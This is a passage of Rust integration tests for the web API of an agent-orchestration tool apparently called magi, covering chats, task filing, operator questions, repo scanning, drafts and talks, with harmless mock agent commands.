4640 let missing = fx.get("/api/chats/nosuchchat").await;
4641 assert_eq!(missing.status, 404, "{}", missing.body);
4642 assert!(
4643 missing.json()["error"]
4644 .as_str()
4645 .is_some_and(|e| e.contains("chat")),
4646 "the error names what was not found: {}",
4647 missing.body
4648 );
4649 }
4650
4651 #[tokio::test]
4652 async fn filing_a_bad_draft_reports_every_problem_at_once() {
4653 let fx = Fixture::start().await;
4654 let id = interview(&fx, "20260903-014455-ab12", "open", Some("do the thing"));
4655
4656 let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
4657
4658 assert_eq!(res.status, 400, "{}", res.body);
4659 let problems = res.json()["problems"].clone();
4660 let problems = problems.as_array().expect("an array of problems");
4661 assert!(
4666 problems.len() > 1,
4667 "one round trip has to be enough to fix the draft: {}",
4668 res.body
4669 );
4670 assert!(problems.iter().all(|p| p.is_string()), "{}", res.body);
4671 assert!(res.json()["error"].is_string(), "{}", res.body);
4672 assert!(
4673 fx.queue().list().is_empty(),
4674 "a refused draft must not reach the queue"
4675 );
4676
4677 let empty = interview(&fx, "20260903-014456-cd34", "open", None);
4680 let res = fx.post(&format!("/api/chats/{empty}/file"), None).await;
4681 assert_eq!(res.status, 400, "{}", res.body);
4682 assert_eq!(
4683 res.json()["problems"].as_array().map(Vec::len),
4684 Some(1),
4685 "{}",
4686 res.body
4687 );
4688 }
4689
4690 #[tokio::test]
4691 async fn filing_a_good_draft_queues_it_and_answers_with_the_task_id() {
4692 let fx = Fixture::start().await;
4693 let draft = good_draft();
4694 let id = interview(&fx, "20260903-014455-ab12", "open", Some(&draft));
4695
4696 let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
4697
4698 assert_eq!(res.status, 200, "{}", res.body);
4699 let task = res.json()["task"]
4700 .as_str()
4701 .unwrap_or_else(|| panic!("a task id: {}", res.body))
4702 .to_owned();
4703
4704 let queued = fx.queue().get(&task).expect("the task is on disk");
4707 assert_eq!(
4708 queued.instruction, draft,
4709 "the draft reaches the graph verbatim"
4710 );
4711 assert_eq!(queued.repo, PathBuf::from("/repo/magi"));
4712 assert_eq!(
4713 fx.get("/api/queue").await.json()[0]["id"],
4714 task,
4715 "the filed task is the listed one"
4716 );
4717
4718 let after = fx.get(&format!("/api/chats/{id}")).await.json();
4720 assert_eq!(after["task"], task);
4721 assert_eq!(after["status"], "filed");
4722 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
4723 }
4724
4725 #[tokio::test]
4726 async fn a_second_turn_on_a_busy_chat_is_refused_rather_than_interleaved() {
4727 let fx = Fixture::start().await;
4728 let id = interview(&fx, "20260903-014455-ab12", "open", None);
4729 let ui = Ui::new(
4730 fx.queue(),
4731 fx.questions(),
4732 fx.chats(),
4733 fx.talks(),
4734 fx.runs(),
4735 fx.home.path().to_path_buf(),
4736 PathBuf::from("/repo/magi"),
4737 )
4738 .with_worktrees_root(fx.home.path().join("wt"));
4739
4740 let first = ui.begin_turn(&id).expect("the first turn claims the chat");
4744 let second = ui.begin_turn(&id).expect_err("the second must be refused");
4745 assert_eq!(
4746 second.status,
4747 StatusCode::CONFLICT,
4748 "a double tap on a slow link must not append two half-turns"
4749 );
4750
4751 drop(first);
4755 assert!(
4756 ui.begin_turn(&id).is_ok(),
4757 "the slot has to come back on its own"
4758 );
4759 }
4760
4761 #[tokio::test]
4762 async fn is_thinking_is_true_exactly_while_a_turn_guard_is_held() {
4763 let fx = Fixture::start().await;
4764 let id = interview(&fx, "20260903-014455-ab12", "open", None);
4765 let ui = Ui::new(
4766 fx.queue(),
4767 fx.questions(),
4768 fx.chats(),
4769 fx.talks(),
4770 fx.runs(),
4771 fx.home.path().to_path_buf(),
4772 PathBuf::from("/repo/magi"),
4773 )
4774 .with_worktrees_root(fx.home.path().join("wt"));
4775
4776 assert!(!ui.is_thinking(&id), "nothing has claimed a turn yet");
4777
4778 let guard = ui.begin_turn(&id).expect("claim the turn");
4779 assert!(
4780 ui.is_thinking(&id),
4781 "`thinking` is exactly what `Ui::begin_turn` claims"
4782 );
4783 assert!(!ui.is_thinking("20260903-014455-other"));
4786
4787 drop(guard);
4788 assert!(
4789 !ui.is_thinking(&id),
4790 "the claim's release, not a turn landing, is what this reflects"
4791 );
4792 }
4793
4794 #[tokio::test]
4795 async fn a_turn_with_nothing_in_it_never_reaches_an_agent() {
4796 let fx = Fixture::start().await;
4797 let id = interview(&fx, "20260903-014455-ab12", "open", None);
4798
4799 for body in [r#"{"text":" \n "}"#, r#"{}"#] {
4802 let res = fx.post(&format!("/api/chats/{id}/say"), Some(body)).await;
4803 assert_eq!(res.status, 400, "{body}: {}", res.body);
4804 }
4805 let res = fx.post("/api/chats", Some(r#"{"idea":" "}"#)).await;
4806 assert_eq!(res.status, 400, "{}", res.body);
4807
4808 assert_eq!(
4809 fx.get(&format!("/api/chats/{id}")).await.json()["turns"]
4810 .as_array()
4811 .map(Vec::len),
4812 Some(2),
4813 "nothing above may have appended a turn"
4814 );
4815 }
4816
4817 #[tokio::test]
4818 async fn a_run_with_an_open_question_reads_as_waiting() {
4819 let fx = Fixture::start().await;
4820 let run = "20260902-000000-beef".to_owned();
4821 write_run(&fx.runs(), &run, RunStatus::Implementing);
4822
4823 let before = fx.get("/api/runs").await.json();
4824 assert_eq!(before[0]["waiting"], false, "{before}");
4825
4826 let store = fx.questions();
4827 let mut q = Question::new(
4828 run.clone(),
4829 "implement".to_owned(),
4830 "impl-A".to_owned(),
4831 "Which backend?".to_owned(),
4832 String::new(),
4833 vec!["SQLite".to_owned()],
4834 );
4835 store.put(&mut q).expect("put");
4836
4837 let during = fx.get("/api/runs").await.json();
4838 assert_eq!(during[0]["waiting"], true, "{during}");
4839
4840 q.answer(Answer::Choice("SQLite".to_owned()))
4843 .expect("answer");
4844 store.put(&mut q).expect("put");
4845 let after = fx.get("/api/runs").await.json();
4846 assert_eq!(after[0]["waiting"], false, "{after}");
4847 }
4848
4849 #[tokio::test]
4850 async fn an_open_question_is_listed_and_counted_by_health() {
4851 let fx = Fixture::start().await;
4852 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4853
4854 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4855 let listed = fx.get("/api/questions").await.json();
4856 assert_eq!(listed.as_array().expect("array").len(), 1);
4857 assert_eq!(listed[0]["id"], id);
4858 assert_eq!(listed[0]["status"], "open");
4859 assert_eq!(listed[0]["choices"][1], "Redis");
4860 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4863 }
4864
4865 #[tokio::test]
4866 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
4867 let fx = Fixture::start().await;
4868 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4869 let path = format!("/api/questions/{id}/answer");
4870
4871 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
4872 assert_eq!(res.status, 200, "{}", res.body);
4873 let body = res.json();
4874 assert_eq!(body["status"], "answered");
4875 assert_eq!(body["answer"]["choice"], "Redis");
4876
4877 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
4881 assert_eq!(again.status, 409, "{}", again.body);
4882 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4883 }
4884
4885 #[tokio::test]
4886 async fn saying_something_appends_a_turn_without_answering() {
4887 let fx = Fixture::start().await;
4888 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4889 let path = format!("/api/questions/{id}/say");
4890
4891 let res = fx
4892 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
4893 .await;
4894 assert_eq!(res.status, 200, "{}", res.body);
4895 let body = res.json();
4896 assert_eq!(body["status"], "open", "talking back is not a decision");
4897 assert_eq!(body["answer"], Value::Null);
4898 assert_eq!(body["thread"][0]["who"], "operator");
4899 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
4900 assert_eq!(body["waiting_on_agent"], true);
4901 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4903 }
4904
4905 #[tokio::test]
4906 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
4907 let fx = Fixture::start().await;
4908 let store = fx.questions();
4909
4910 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4911 let res = fx
4912 .post(
4913 &format!("/api/questions/{empty_id}/say"),
4914 Some(r#"{"body":" "}"#),
4915 )
4916 .await;
4917 assert_eq!(res.status, 400, "{}", res.body);
4918
4919 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4920 let mut answered = store.get(&answered_id).expect("get");
4921 answered
4922 .answer(Answer::Choice("SQLite".to_owned()))
4923 .expect("answer");
4924 store.put(&mut answered).expect("put");
4925 let res = fx
4926 .post(
4927 &format!("/api/questions/{answered_id}/say"),
4928 Some(r#"{"body":"still there?"}"#),
4929 )
4930 .await;
4931 assert_eq!(res.status, 409, "{}", res.body);
4932
4933 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4934 let mut abandoned = store.get(&abandoned_id).expect("get");
4935 abandoned.abandon("timed out");
4936 store.put(&mut abandoned).expect("put");
4937 let res = fx
4938 .post(
4939 &format!("/api/questions/{abandoned_id}/say"),
4940 Some(r#"{"body":"still there?"}"#),
4941 )
4942 .await;
4943 assert_eq!(res.status, 409, "{}", res.body);
4944 }
4945
4946 #[tokio::test]
4947 async fn an_answer_the_question_does_not_offer_is_refused() {
4948 let fx = Fixture::start().await;
4949 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4950 let path = format!("/api/questions/{id}/answer");
4951
4952 for body in [
4953 r#"{"choice":"Postgres"}"#,
4954 r#"{"text":"whatever you think"}"#,
4955 r#"{"choice":"Redis","text":"both"}"#,
4956 r#"{}"#,
4957 ] {
4958 let res = fx.post(&path, Some(body)).await;
4959 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
4960 assert!(res.json()["error"].is_string(), "{}", res.body);
4961 }
4962 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4964 }
4965
4966 #[tokio::test]
4967 async fn a_free_text_question_takes_text_and_not_a_choice() {
4968 let fx = Fixture::start().await;
4969 let id = ask(&fx, "What should the flag be called?", &[]);
4970 let path = format!("/api/questions/{id}/answer");
4971
4972 assert_eq!(
4973 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
4974 400
4975 );
4976 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
4977 assert_eq!(res.status, 200, "{}", res.body);
4978 assert_eq!(res.json()["answer"]["text"], "--json");
4979 }
4980
4981 #[tokio::test]
4982 async fn an_unknown_question_is_a_json_404() {
4983 let fx = Fixture::start().await;
4984 let res = fx
4985 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
4986 .await;
4987 assert_eq!(res.status, 404, "{}", res.body);
4988 assert!(res.json()["error"].is_string());
4989 }
4990
4991 #[tokio::test]
4998 async fn a_task_cannot_be_filed_directly_only_through_an_interview() {
4999 let f = Fixture::start().await;
5000
5001 let res = f
5002 .post(
5003 "/api/queue",
5004 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
5005 )
5006 .await;
5007
5008 assert_eq!(
5009 res.status, 405,
5010 "POST /api/queue must not be a route: {}",
5011 res.body
5012 );
5013 assert!(
5014 f.queue().list().is_empty(),
5015 "a task that skipped the interview must not reach the disk"
5016 );
5017 assert_eq!(f.get("/api/queue").await.status, 200);
5020 }
5021
5022 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5024 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5025 .expect("checkout dir");
5026 }
5027
5028 #[tokio::test]
5029 async fn repos_list_returns_name_and_path_for_every_configured_root() {
5030 let tmp = TempDir::new().expect("tempdir");
5031 let repo = tmp.path().join("repo");
5032 std::fs::create_dir_all(&repo).expect("repo dir");
5033 let root = tmp.path().join("root");
5034 make_checkout(&root, "github.com", "yukimemi", "magi");
5035 std::fs::write(
5036 repo.join("magi.toml"),
5037 format!(
5038 "[repos]\nroots = [{:?}]\n",
5039 root.to_string_lossy().into_owned()
5040 ),
5041 )
5042 .expect("write magi.toml");
5043
5044 let f = Fixture::with_repo(repo).await;
5045 let res = f.get("/api/repos").await;
5046 assert_eq!(res.status, 200, "{}", res.body);
5047 let list = res.json();
5048 let repos = list.as_array().expect("an array");
5049 assert_eq!(repos.len(), 1);
5050 assert_eq!(repos[0]["name"], "yukimemi/magi");
5051 assert!(
5052 repos[0]["path"]
5053 .as_str()
5054 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
5055 "{list}"
5056 );
5057 }
5058
5059 #[tokio::test]
5060 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
5061 let tmp = TempDir::new().expect("tempdir");
5062 let repo = tmp.path().join("repo");
5063 std::fs::create_dir_all(&repo).expect("repo dir");
5064 let root = tmp.path().join("root");
5065 make_checkout(&root, "github.com", "yukimemi", "magi");
5066 std::fs::write(
5067 repo.join("magi.toml"),
5068 format!(
5069 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
5070 root.to_string_lossy().into_owned()
5071 ),
5072 )
5073 .expect("write magi.toml");
5074
5075 let f = Fixture::with_repo(repo).await;
5076 let first = f.get("/api/repos").await;
5077 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
5078
5079 make_checkout(&root, "github.com", "yukimemi", "rvpm");
5082 let second = f.get("/api/repos").await;
5083 assert_eq!(
5084 second.json().as_array().map(Vec::len),
5085 Some(1),
5086 "a fresh cache must not rescan inside the TTL"
5087 );
5088
5089 let refreshed = f.get("/api/repos?refresh=1").await;
5090 assert_eq!(
5091 refreshed.json().as_array().map(Vec::len),
5092 Some(2),
5093 "an explicit refresh must rescan even inside the TTL"
5094 );
5095 }
5096
5097 #[tokio::test]
5098 async fn draft_advisors_serves_the_raw_record_a_cli_plan_run_wrote() {
5099 let f = Fixture::start().await;
5100 let drafts = f.home.path().join("drafts");
5101 std::fs::create_dir_all(&drafts).expect("drafts dir");
5102 let record = r#"{"records":[{"seat":"advisor-1","agent":"sage-a","duration_ms":1200}]}"#;
5103 std::fs::write(drafts.join("20260906-000000-ab12.advisors.json"), record)
5104 .expect("write advisor record");
5105
5106 let res = f.get("/api/drafts/20260906-000000-ab12/advisors").await;
5107 assert_eq!(res.status, 200, "{}", res.body);
5108 assert_eq!(res.json()["records"][0]["seat"], "advisor-1");
5109 assert!(
5110 res.json()["draft"].is_null(),
5111 "no .md on disk must read as no draft, not as an error: {}",
5112 res.body
5113 );
5114 }
5115
5116 #[tokio::test]
5120 async fn draft_advisors_includes_the_synthesized_task_file_the_deliberation_produced() {
5121 let f = Fixture::start().await;
5122 let drafts = f.home.path().join("drafts");
5123 std::fs::create_dir_all(&drafts).expect("drafts dir");
5124 std::fs::write(
5125 drafts.join("20260906-000000-mn34.advisors.json"),
5126 r#"{"records":[{"seat":"advisor-1","agent":"sage-a","duration_ms":1}]}"#,
5127 )
5128 .unwrap();
5129 std::fs::write(
5130 drafts.join("20260906-000000-mn34.md"),
5131 "# Rework the config loader\n\n## Context\n\nadvisor-1 argued for X.\n\n## Completion criteria\n\n- [ ] it works\n",
5132 )
5133 .unwrap();
5134
5135 let res = f.get("/api/drafts/20260906-000000-mn34/advisors").await;
5136 assert_eq!(res.status, 200, "{}", res.body);
5137 let body = res.json();
5138 assert!(
5139 body["draft"]
5140 .as_str()
5141 .is_some_and(|d| d.contains("advisor-1 argued for X")),
5142 "{body}"
5143 );
5144 assert!(
5145 body["draft_md"].is_array(),
5146 "the draft must also arrive pre-parsed, like every other markdown surface: {body}"
5147 );
5148 }
5149
5150 #[tokio::test]
5151 async fn draft_advisors_404s_for_a_draft_with_no_deliberation_on_disk() {
5152 let f = Fixture::start().await;
5153 let res = f.get("/api/drafts/nosuchdraft/advisors").await;
5154 assert_eq!(res.status, 404, "{}", res.body);
5155 }
5156
5157 #[tokio::test]
5158 async fn drafts_list_surfaces_only_drafts_that_finished_deliberation_newest_first() {
5159 let f = Fixture::start().await;
5160 let drafts = f.home.path().join("drafts");
5161 std::fs::create_dir_all(&drafts).expect("drafts dir");
5162 std::fs::write(
5164 drafts.join("20260901-000000-aaaa.md"),
5165 "# Rework the config loader\n",
5166 )
5167 .unwrap();
5168 std::fs::write(
5169 drafts.join("20260901-000000-aaaa.advisors.json"),
5170 r#"{"records":[
5171 {"seat":"advisor-1","agent":"a","duration_ms":1,
5172 "proposal":{"approach":"x","key_tradeoff":"y","why_not_naive":"z"}},
5173 {"seat":"advisor-2","agent":"b","duration_ms":1,"error":"boom"}
5174 ]}"#,
5175 )
5176 .unwrap();
5177 std::fs::write(
5179 drafts.join("20260902-000000-bbbb.advisors.json"),
5180 r#"{"records":[]}"#,
5181 )
5182 .unwrap();
5183 std::fs::write(drafts.join("20260903-000000-cccc.md"), "# no advisors\n").unwrap();
5185
5186 let res = f.get("/api/drafts").await;
5187 assert_eq!(res.status, 200, "{}", res.body);
5188 let list = res.json();
5189 let rows = list.as_array().expect("an array");
5190 assert_eq!(rows.len(), 2, "{list}");
5191 assert_eq!(rows[0]["id"], "20260902-000000-bbbb", "newest first");
5192 assert_eq!(
5193 rows[0]["title"], "20260902-000000-bbbb",
5194 "falls back to the id"
5195 );
5196 assert_eq!(rows[1]["id"], "20260901-000000-aaaa");
5197 assert_eq!(rows[1]["title"], "Rework the config loader");
5198 assert_eq!(rows[1]["seats"], 2);
5199 assert_eq!(rows[1]["proposals"], 1);
5200 }
5201
5202 #[tokio::test]
5203 async fn posting_a_chat_with_an_unknown_from_names_the_id_in_a_4xx() {
5204 let f = Fixture::start().await;
5205 let res = f
5206 .post(
5207 "/api/chats",
5208 Some(r#"{"idea":"same idea, another repo","from":"nosuchchat"}"#),
5209 )
5210 .await;
5211 assert!(res.status >= 400 && res.status < 500, "{}", res.status);
5212 assert!(
5213 res.json()["error"]
5214 .as_str()
5215 .is_some_and(|e| e.contains("nosuchchat")),
5216 "the error names the id that does not exist: {}",
5217 res.body
5218 );
5219 assert!(
5220 f.chats().list().is_empty(),
5221 "a chat must not be created against an unresolvable `from`"
5222 );
5223 }
5224
5225 const MOCK_AGENT_TOML: &str = "[roles]\nplanner = \"mock\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
5242
5243 const SLOW_MOCK_AGENT_TOML: &str = "[roles]\nplanner = \"mock\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
5248
5249 #[tokio::test]
5250 async fn a_posted_chat_takes_the_given_repo_and_otherwise_keeps_the_servers_own() {
5251 let tmp = TempDir::new().expect("tempdir");
5252 let repo = tmp.path().join("repo");
5253 let other = tmp.path().join("other");
5254 std::fs::create_dir_all(&repo).expect("repo dir");
5255 std::fs::create_dir_all(&other).expect("other repo dir");
5256 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5260 std::fs::write(other.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5261
5262 let f = Fixture::with_repo(repo.clone()).await;
5263
5264 let default_res = f
5265 .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
5266 .await;
5267 assert_eq!(default_res.status, 202, "{}", default_res.body);
5268 assert_eq!(
5269 default_res.json()["repo"],
5270 repo.canonicalize().unwrap().display().to_string(),
5271 "omitting `repo` must keep the server's own"
5272 );
5273
5274 let body = format!(
5275 r#"{{"idea":"rework the config loader","repo":{:?}}}"#,
5276 other.to_string_lossy()
5277 );
5278 let explicit_res = f.post("/api/chats", Some(&body)).await;
5279 assert_eq!(explicit_res.status, 202, "{}", explicit_res.body);
5280 assert_eq!(
5281 explicit_res.json()["repo"],
5282 other.canonicalize().unwrap().display().to_string(),
5283 "an explicit `repo` must override the server's own"
5284 );
5285 }
5286
5287 #[tokio::test]
5288 async fn posting_a_chat_against_a_repo_with_a_broken_config_is_a_4xx_and_creates_no_chat() {
5289 let tmp = TempDir::new().expect("tempdir");
5290 let repo = tmp.path().join("repo");
5291 std::fs::create_dir_all(&repo).expect("repo dir");
5292 std::fs::write(repo.join("magi.toml"), "this is not valid toml [[[")
5295 .expect("write magi.toml");
5296
5297 let f = Fixture::with_repo(repo).await;
5298 let res = f
5299 .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
5300 .await;
5301 assert!(res.status >= 400 && res.status < 500, "{}", res.body);
5302 assert!(
5303 f.chats().list().is_empty(),
5304 "a repo whose config will not load must not leave a chat file behind"
5305 );
5306 }
5307
5308 #[tokio::test]
5309 async fn posting_a_chat_with_no_runnable_agent_is_a_4xx_and_creates_no_chat() {
5310 let tmp = TempDir::new().expect("tempdir");
5311 let repo = tmp.path().join("repo");
5312 std::fs::create_dir_all(&repo).expect("repo dir");
5313 std::fs::write(
5316 repo.join("magi.toml"),
5317 "[roles]\nplanner = \"nobody\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"printf ok\"]\n",
5318 )
5319 .expect("write magi.toml");
5320
5321 let f = Fixture::with_repo(repo).await;
5322 let res = f
5323 .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
5324 .await;
5325 assert!(res.status >= 400 && res.status < 500, "{}", res.body);
5326 assert!(
5327 res.json()["error"]
5328 .as_str()
5329 .is_some_and(|e| e.contains("nobody")),
5330 "the error names the agent that could not be picked: {}",
5331 res.body
5332 );
5333 assert!(
5334 f.chats().list().is_empty(),
5335 "a repo with no runnable interviewing agent must not leave a chat file behind"
5336 );
5337 }
5338
5339 #[tokio::test]
5340 async fn a_posted_chats_first_turn_reads_as_thinking_until_it_lands() {
5341 let tmp = TempDir::new().expect("tempdir");
5342 let repo = tmp.path().join("repo");
5343 std::fs::create_dir_all(&repo).expect("repo dir");
5344 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write magi.toml");
5345 let f = Fixture::with_repo(repo).await;
5346
5347 let posted = f
5348 .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
5349 .await;
5350 assert_eq!(posted.status, 202, "{}", posted.body);
5351 let body = posted.json();
5352 assert_eq!(
5353 body["thinking"], true,
5354 "the first turn is running in the background the instant this answers: {body}"
5355 );
5356 assert_eq!(
5357 body["turns"].as_array().map(Vec::len),
5358 Some(1),
5359 "only the operator's idea is on disk yet: {body}"
5360 );
5361 let id = body["id"].as_str().expect("id").to_owned();
5362
5363 let listed = f.get("/api/chats").await.json();
5366 let row = listed
5367 .as_array()
5368 .expect("array")
5369 .iter()
5370 .find(|c| c["id"] == id)
5371 .unwrap_or_else(|| panic!("{id} in {listed}"));
5372 assert_eq!(row["thinking"], true, "{listed}");
5373
5374 let raced = f
5377 .post(
5378 &format!("/api/chats/{id}/say"),
5379 Some(r#"{"text":"anything"}"#),
5380 )
5381 .await;
5382 assert_eq!(
5383 raced.status, 409,
5384 "the first turn's guard must still be held: {}",
5385 raced.body
5386 );
5387
5388 let mut turns_after = 1;
5389 let mut thinking_after = true;
5390 for _ in 0..200 {
5391 let detail = f.get(&format!("/api/chats/{id}")).await.json();
5392 turns_after = detail["turns"].as_array().expect("turns array").len();
5393 thinking_after = detail["thinking"].as_bool().expect("thinking is a bool");
5394 if turns_after == 2 && !thinking_after {
5395 break;
5396 }
5397 tokio::time::sleep(Duration::from_millis(10)).await;
5398 }
5399 assert_eq!(turns_after, 2, "the agent's first reply eventually lands");
5400 assert!(!thinking_after, "the guard is released once the turn ends");
5401 }
5402
5403 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
5407 let tmp = TempDir::new().expect("tempdir");
5408 let repo = tmp.path().join("repo");
5409 std::fs::create_dir_all(&repo).expect("repo dir");
5410 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5411 let f = Fixture::with_repo(repo.clone()).await;
5412 (tmp, repo, f)
5413 }
5414
5415 #[tokio::test]
5416 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5417 let (_tmp, _repo, f) = talk_fixture().await;
5418
5419 let opened = f.post("/api/talks", None).await;
5422 assert_eq!(opened.status, 201, "{}", opened.body);
5423 let body = opened.json();
5424 assert_eq!(body["status"], "open");
5425 assert_eq!(
5426 body["turns"].as_array().unwrap().len(),
5427 0,
5428 "opening takes no agent turn: there is nothing yet to answer"
5429 );
5430
5431 let also_opened = f.post("/api/talks", Some("{}")).await;
5433 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
5434
5435 let listed = f.get("/api/talks").await.json();
5436 assert_eq!(listed.as_array().unwrap().len(), 2);
5437 }
5438
5439 #[tokio::test]
5440 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
5441 let f = Fixture::start().await;
5442 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
5443 let queue = f.queue();
5444 let mut mine = Task::new(
5445 "rename the loader".to_owned(),
5446 "rename the loader".to_owned(),
5447 PathBuf::from("/repo/magi"),
5448 Source::Agent {
5449 run: talk_id.clone(),
5450 node: "chat".to_owned(),
5451 },
5452 );
5453 queue.put(&mut mine).expect("file the task");
5454 let mut theirs = Task::new(
5455 "unrelated".to_owned(),
5456 "unrelated".to_owned(),
5457 PathBuf::from("/repo/magi"),
5458 Source::Human,
5459 );
5460 queue.put(&mut theirs).expect("file the task");
5461
5462 let res = f.get(&format!("/api/talks/{talk_id}")).await;
5463 assert_eq!(res.status, 200, "{}", res.body);
5464 let body = res.json();
5465 assert_eq!(
5466 body["status"], "open",
5467 "filing a task does not close a talk"
5468 );
5469 let tasks = body["tasks"].as_array().expect("tasks array");
5470 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
5471 assert_eq!(tasks[0]["id"], mine.id);
5472 }
5473
5474 #[tokio::test]
5475 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
5476 let (_tmp, _repo, f) = talk_fixture().await;
5477 let id = f.post("/api/talks", None).await.json()["id"]
5478 .as_str()
5479 .expect("id")
5480 .to_owned();
5481
5482 let res = f
5483 .post(
5484 &format!("/api/talks/{id}/say"),
5485 Some(r#"{"text":"what does the queue module do?"}"#),
5486 )
5487 .await;
5488 assert_eq!(res.status, 202, "{}", res.body);
5489 let queued = res.json();
5490 let turns = queued["turns"].as_array().expect("turns array");
5491 assert_eq!(
5492 turns.len(),
5493 1,
5494 "the answer reflects only what is on disk the instant it is sent, \
5495 before the agent's turn - which can run for `talk::TURN_TIMEOUT` \
5496 - has a chance to land: {queued}"
5497 );
5498 assert_eq!(turns[0]["who"], "operator");
5499 assert_eq!(turns[0]["body"], "what does the queue module do?");
5500
5501 let mut turns_after = 1;
5502 for _ in 0..200 {
5503 let detail = f.get(&format!("/api/talks/{id}")).await.json();
5504 turns_after = detail["turns"].as_array().expect("turns array").len();
5505 if turns_after == 2 {
5506 break;
5507 }
5508 tokio::time::sleep(Duration::from_millis(10)).await;
5509 }
5510 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
5511 }
5512
5513 #[tokio::test]
5514 async fn talk_close_makes_the_talk_refuse_further_turns() {
5515 let f = Fixture::start().await;
5516 let id = seed_talk(&f, "20260904-014455-cd34", "open");
5517
5518 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5519 assert_eq!(closed.status, 200, "{}", closed.body);
5520 assert_eq!(closed.json()["status"], "closed");
5521
5522 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
5524 assert_eq!(closed_again.status, 200);
5525 assert_eq!(closed_again.json()["status"], "closed");
5526 }
5527
5528 #[tokio::test]
5529 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
5530 let (_tmp, _repo, f) = talk_fixture().await;
5531 let id = f.post("/api/talks", None).await.json()["id"]
5532 .as_str()
5533 .expect("id")
5534 .to_owned();
5535 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5536 assert_eq!(closed.status, 200, "{}", closed.body);
5537
5538 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
5539 assert_eq!(reopened.status, 200, "{}", reopened.body);
5540 assert_eq!(reopened.json()["status"], "open");
5541
5542 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
5544 assert_eq!(reopened_again.status, 200);
5545 assert_eq!(reopened_again.json()["status"], "open");
5546
5547 let said = f
5548 .post(
5549 &format!("/api/talks/{id}/say"),
5550 Some(r#"{"text":"still there?"}"#),
5551 )
5552 .await;
5553 assert_eq!(
5554 said.status, 202,
5555 "a reopened talk accepts turns again: {}",
5556 said.body
5557 );
5558 }
5559
5560 #[tokio::test]
5561 async fn talk_reopen_on_an_unknown_id_is_404() {
5562 let f = Fixture::start().await;
5563 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
5564 assert_eq!(res.status, 404, "{}", res.body);
5565 }
5566
5567 #[tokio::test]
5568 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
5569 let f = Fixture::start().await;
5570 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
5571
5572 let deleted = f.delete(&format!("/api/talks/{id}")).await;
5573 assert_eq!(deleted.status, 204, "{}", deleted.body);
5574
5575 let after = f.get(&format!("/api/talks/{id}")).await;
5576 assert_eq!(after.status, 404, "{}", after.body);
5577
5578 let listed = f.get("/api/talks").await.json();
5579 assert!(
5580 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
5581 "a deleted talk must not linger in the list: {listed}"
5582 );
5583 }
5584
5585 #[tokio::test]
5586 async fn talk_delete_on_an_unknown_id_is_404() {
5587 let f = Fixture::start().await;
5588 let res = f.delete("/api/talks/nonexistent-id").await;
5589 assert_eq!(res.status, 404, "{}", res.body);
5590 }
5591
5592 #[tokio::test]
